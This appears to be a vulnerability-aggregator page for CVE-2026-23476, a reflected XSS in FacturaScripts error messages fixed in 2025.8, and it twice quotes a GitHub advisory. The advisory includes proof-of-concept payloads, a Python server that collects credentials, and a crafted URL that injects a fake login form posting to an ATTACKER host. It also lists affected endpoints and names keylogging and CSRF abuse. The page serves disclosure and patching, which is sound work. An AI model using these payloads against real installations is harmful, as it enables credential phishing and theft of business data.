CVE-2026-23476
FacturaScripts Affected by Reflected XSS
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.4
FacturaScripts Affected by Reflected XSS
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
- Record
CVE-2026-23476- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-5279
5.4
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
- Record
EUVD-2026-5279- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g6w2-q45f-xrp4
5.4
FacturaScripts is Vulnerable to Reflected XSS
Reflected XSS via SQL Error Messages
Summary
A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.
Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).
CVSS 6.1 (Medium-High)
What was Found
Where the bug exists in the code:
Core/View/Macro/Utils.html.twig, line 27:
{% for item in messages %}
<div>{{ item.message | raw }}</div>
{% endfor %}
That | raw is the problem. It tells Twig not to escape anything.
How it works
So here's what happens:
- Hhit
/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)> - The app tries to look up a product with that "code"
- PostgreSQL throws an error because
<svg onload=alert(1)>isn't a valid integer - The error goes something like: ```
ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>"
LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
- This gets logged via MiniLog and displayed to the user
- Because of
| raw, the browser actually executes the JS
The error logging happens in Core/Base/DataBase.php around line 236:
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);
And PostgreSQL's error message includes whatever garbage it was sent.
Reproduction Steps
Requirements
- Working FacturaScripts install
- Any user account (doesn't need to be admin)
- The victim needs to be logged in
Quick test
Just visit this URL while logged in:
http://localhost/EditProducto?code=<svg onload=alert(document.domain)>
An alert box should pop up.
For a real attack (credential phishing)
Set up a simple server to catch credentials:
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query)
print(f"\nGot creds:")
print(f" User: {q.get('user', ['?'])[0]}")
print(f" Pass: {q.get('pass', ['?'])[0]}")
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
HTTPServer(('', 8888), Handler).serve_forever()
Then craft a URL that injects a fake login form:
http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">
Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.
Other endpoints that work
Pretty much anything that uses the code parameter:
/EditProducto?code=/EditCliente?code=/EditFacturaCliente?code=/EditProveedor?code=- etc.
Basically all the Edit controllers.
Impact
What attackers can do with this
Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.
Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.
Keylog - Inject a keylogger that captures everything they type.
Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.
What attackers CAN'T do
Can't steal session cookies via document.cookie - they're…
- Record
GHSA-g6w2-q45f-xrp4- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.4
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
- Record
CVE-2026-23476- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.4
FacturaScripts Affected by Reflected XSS
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
- Record
CVE-2026-23476- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-g6w2-q45f-xrp4
5.4
FacturaScripts is Vulnerable to Reflected XSS
Reflected XSS via SQL Error Messages
Summary
A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.
Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).
CVSS 6.1 (Medium-High)
What was Found
Where the bug exists in the code:
Core/View/Macro/Utils.html.twig, line 27:
{% for item in messages %}
<div>{{ item.message | raw }}</div>
{% endfor %}
That | raw is the problem. It tells Twig not to escape anything.
How it works
So here's what happens:
- Hhit
/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)> - The app tries to look up a product with that "code"
- PostgreSQL throws an error because
<svg onload=alert(1)>isn't a valid integer - The error goes something like: ```
ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>"
LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
- This gets logged via MiniLog and displayed to the user
- Because of
| raw, the browser actually executes the JS
The error logging happens in Core/Base/DataBase.php around line 236:
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);
And PostgreSQL's error message includes whatever garbage it was sent.
Reproduction Steps
Requirements
- Working FacturaScripts install
- Any user account (doesn't need to be admin)
- The victim needs to be logged in
Quick test
Just visit this URL while logged in:
http://localhost/EditProducto?code=<svg onload=alert(document.domain)>
An alert box should pop up.
For a real attack (credential phishing)
Set up a simple server to catch credentials:
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query)
print(f"\nGot creds:")
print(f" User: {q.get('user', ['?'])[0]}")
print(f" Pass: {q.get('pass', ['?'])[0]}")
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
HTTPServer(('', 8888), Handler).serve_forever()
Then craft a URL that injects a fake login form:
http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">
Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.
Other endpoints that work
Pretty much anything that uses the code parameter:
/EditProducto?code=/EditCliente?code=/EditFacturaCliente?code=/EditProveedor?code=- etc.
Basically all the Edit controllers.
Impact
What attackers can do with this
Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.
Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.
Keylog - Inject a keylogger that captures everything they type.
Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.
What attackers CAN'T do
Can't steal session cookies via document.cookie - they're…
- Record
GHSA-g6w2-q45f-xrp4- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
facturascripts/facturascriptsPackagist |
before 2025.81 | 2025.81 |
facturascripts/facturascriptsPackagist |
before 2025.81, plus listed versions 2018.032018.042018.052018.11v2018.12 Show 45 moreShow lessv2018.13v2018.14v2018.15v2018.16v2020.01v2020.2v2020.3v2020.4v2020.51v2020.61v2020.71v2020.80v2021v2021.1v2021.2v2021.4v2021.51v2021.71v2021.81v2022.06v2022.08v2022.2v2022.4v2022.51v2023.03v2023.08v2023.16v2023.21v2024v2024.1v2024.2v2024.3v2024.5v2024.7v2024.8v2024.9v2024.91v2024.93v2024.94v2024.95v2024.96v2025v2025.11v2025.2v2025.3 |
2025.81 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-23476 is a medium vulnerability (CVSS 5.4) in Facturascripts, published February 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in facturascripts/facturascripts 2025.81.
References
github.com/NeoRazorX/facturascripts/security/advisories/GHSA-g6w2-q45f-xrp4
github.com/NeoRazorX/facturascripts/commit/2afd98cecd26c5f8357e0e321d86063ad1012fc3
github.com/NeoRazorX/facturascripts/releases/tag/v2025.8
nvd.nist.gov/vuln/detail/CVE-2026-23476
github.com/advisories/GHSA-g6w2-q45f-xrp4
github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23476.json
github.com/NeoRazorX/facturascripts
Left out here: 6 versions and the rest of 2 source descriptions. The JSON record has them.